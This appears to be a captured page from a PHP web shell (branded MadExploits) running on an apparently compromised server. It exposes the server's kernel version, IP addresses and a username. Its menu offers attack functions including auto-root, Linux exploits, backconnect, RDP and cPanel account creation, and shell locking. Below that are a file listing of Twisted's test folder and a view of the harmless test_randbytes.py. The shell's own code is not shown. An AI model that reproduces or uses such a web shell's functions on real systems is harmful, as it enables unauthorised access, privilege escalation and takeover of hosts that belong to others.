Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
twisted /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
475
B
-rw-r--r--
cert.pem.no_trailing_newline
1.38
KB
-rw-r--r--
crash_test_dummy.py
549
B
-rw-r--r--
ignore_test_failure.py
30.72
KB
-rw-r--r--
iosim.py
17.74
KB
-rw-r--r--
key.pem.no_trailing_newline
1.67
KB
-rw-r--r--
mock_win32process.py
1.27
KB
-rw-r--r--
myrebuilder1.py
151
B
-rw-r--r--
myrebuilder2.py
151
B
-rw-r--r--
plugin_basic.py
901
B
-rw-r--r--
plugin_extra1.py
392
B
-rw-r--r--
plugin_extra2.py
550
B
-rw-r--r--
process_cmdline.py
123
B
-rw-r--r--
process_echoer.py
214
B
-rw-r--r--
process_fds.py
984
B
-rw-r--r--
process_getargv.py
234
B
-rw-r--r--
process_getenv.py
268
B
-rw-r--r--
process_linger.py
297
B
-rw-r--r--
process_reader.py
178
B
-rw-r--r--
process_signal.py
220
B
-rw-r--r--
process_stdinreader.py
739
B
-rw-r--r--
process_tester.py
779
B
-rw-r--r--
process_tty.py
130
B
-rw-r--r--
process_twisted.py
1.15
KB
-rw-r--r--
proto_helpers.py
1.34
KB
-rw-r--r--
reflect_helper_IE.py
60
B
-rw-r--r--
reflect_helper_VE.py
81
B
-rw-r--r--
reflect_helper_ZDE.py
48
B
-rw-r--r--
server.pem
4.34
KB
-rw-r--r--
ssl_helpers.py
1.61
KB
-rw-r--r--
stdio_test_consumer.py
1.14
KB
-rw-r--r--
stdio_test_halfclose.py
2
KB
-rw-r--r--
stdio_test_hostpeer.py
1.06
KB
-rw-r--r--
stdio_test_lastwrite.py
1.13
KB
-rw-r--r--
stdio_test_loseconn.py
1.55
KB
-rw-r--r--
stdio_test_producer.py
1.45
KB
-rw-r--r--
stdio_test_write.py
902
B
-rw-r--r--
stdio_test_writeseq.py
894
B
-rw-r--r--
test_abstract.py
3.35
KB
-rw-r--r--
test_adbapi.py
25.56
KB
-rw-r--r--
test_amp.py
107.92
KB
-rw-r--r--
test_application.py
33.34
KB
-rw-r--r--
test_compat.py
17.75
KB
-rw-r--r--
test_context.py
1.43
KB
-rw-r--r--
test_cooperator.py
20.84
KB
-rw-r--r--
test_defer.py
121.86
KB
-rw-r--r--
test_defgen.py
10.38
KB
-rw-r--r--
test_dict.py
1.49
KB
-rw-r--r--
test_dirdbm.py
6.69
KB
-rw-r--r--
test_error.py
8.72
KB
-rw-r--r--
test_factories.py
4.46
KB
-rw-r--r--
test_fdesc.py
7.28
KB
-rw-r--r--
test_finger.py
1.85
KB
-rw-r--r--
test_formmethod.py
3.87
KB
-rw-r--r--
test_ftp.py
126.96
KB
-rw-r--r--
test_ftp_options.py
2.63
KB
-rw-r--r--
test_htb.py
3.08
KB
-rw-r--r--
test_ident.py
6.56
KB
-rw-r--r--
test_internet.py
45.38
KB
-rw-r--r--
test_iosim.py
8.7
KB
-rw-r--r--
test_iutils.py
13.31
KB
-rw-r--r--
test_lockfile.py
14.98
KB
-rw-r--r--
test_log.py
35.23
KB
-rw-r--r--
test_logfile.py
17.47
KB
-rw-r--r--
test_loopback.py
13.99
KB
-rw-r--r--
test_main.py
2.12
KB
-rw-r--r--
test_memcache.py
24.69
KB
-rw-r--r--
test_modules.py
17.02
KB
-rw-r--r--
test_monkey.py
5.39
KB
-rw-r--r--
test_paths.py
69.31
KB
-rw-r--r--
test_pcp.py
12.23
KB
-rw-r--r--
test_persisted.py
13.09
KB
-rw-r--r--
test_plugin.py
24.79
KB
-rw-r--r--
test_policies.py
32.29
KB
-rw-r--r--
test_postfix.py
4.32
KB
-rw-r--r--
test_process.py
85.16
KB
-rw-r--r--
test_protocols.py
7.16
KB
-rw-r--r--
test_randbytes.py
3.19
KB
-rw-r--r--
test_rebuild.py
7.15
KB
-rw-r--r--
test_reflect.py
23.9
KB
-rw-r--r--
test_roots.py
1.6
KB
-rw-r--r--
test_shortcut.py
1.92
KB
-rw-r--r--
test_sip.py
24.9
KB
-rw-r--r--
test_sob.py
5.53
KB
-rw-r--r--
test_socks.py
17.09
KB
-rw-r--r--
test_ssl.py
22.75
KB
-rw-r--r--
test_sslverify.py
113.89
KB
-rw-r--r--
test_stateful.py
1.97
KB
-rw-r--r--
test_stdio.py
12.43
KB
-rw-r--r--
test_strerror.py
5.12
KB
-rw-r--r--
test_strports.py
1.67
KB
-rw-r--r--
test_task.py
45.26
KB
-rw-r--r--
test_tcp.py
64.27
KB
-rw-r--r--
test_tcp_internals.py
12.73
KB
-rw-r--r--
test_text.py
6.22
KB
-rw-r--r--
test_threadable.py
3.26
KB
-rw-r--r--
test_threadpool.py
21.44
KB
-rw-r--r--
test_threads.py
12.9
KB
-rw-r--r--
test_tpfile.py
1.51
KB
-rw-r--r--
test_twistd.py
72.04
KB
-rw-r--r--
test_twisted.py
6.13
KB
-rw-r--r--
test_udp.py
24.43
KB
-rw-r--r--
test_unix.py
13.26
KB
-rw-r--r--
test_usage.py
22.76
KB
-rw-r--r--
testutils.py
5.06
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_randbytes.py
# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Test cases for L{twisted.python.randbytes}. """ from twisted.python import randbytes from twisted.trial import unittest class SecureRandomTestCaseBase: """ Base class for secureRandom test cases. """ def _check(self, source): """ The given random bytes source should return the number of bytes requested each time it is called and should probably not return the same bytes on two consecutive calls (although this is a perfectly legitimate occurrence and rejecting it may generate a spurious failure -- maybe we'll get lucky and the heat death with come first). """ for nbytes in range(17, 25): s = source(nbytes) self.assertEqual(len(s), nbytes) s2 = source(nbytes) self.assertEqual(len(s2), nbytes) # This is crude but hey self.assertNotEqual(s2, s) class SecureRandomTests(SecureRandomTestCaseBase, unittest.TestCase): """ Test secureRandom under normal conditions. """ def test_normal(self): """ L{randbytes.secureRandom} should return a string of the requested length and make some effort to make its result otherwise unpredictable. """ self._check(randbytes.secureRandom) class ConditionalSecureRandomTests( SecureRandomTestCaseBase, unittest.SynchronousTestCase ): """ Test random sources one by one, then remove it to. """ def setUp(self): """ Create a L{randbytes.RandomFactory} to use in the tests. """ self.factory = randbytes.RandomFactory() def errorFactory(self, nbytes): """ A factory raising an error when a source is not available. """ raise randbytes.SourceNotAvailable() def test_osUrandom(self): """ L{RandomFactory._osUrandom} should work as a random source whenever L{os.urandom} is available. """ self._check(self.factory._osUrandom) def test_withoutAnything(self): """ Remove all secure sources and assert it raises a failure. Then try the fallback parameter. """ self.factory._osUrandom = self.errorFactory self.assertRaises( randbytes.SecureRandomNotAvailable, self.factory.secureRandom, 18 ) def wrapper(): return self.factory.secureRandom(18, fallback=True) s = self.assertWarns( RuntimeWarning, "urandom unavailable - " "proceeding with non-cryptographically secure random source", __file__, wrapper, ) self.assertEqual(len(s), 18) class RandomBaseTests(SecureRandomTestCaseBase, unittest.SynchronousTestCase): """ 'Normal' random test cases. """ def test_normal(self): """ Test basic case. """ self._check(randbytes.insecureRandom) def test_withoutGetrandbits(self): """ Test C{insecureRandom} without C{random.getrandbits}. """ factory = randbytes.RandomFactory() factory.getrandbits = None self._check(factory.insecureRandom)
Close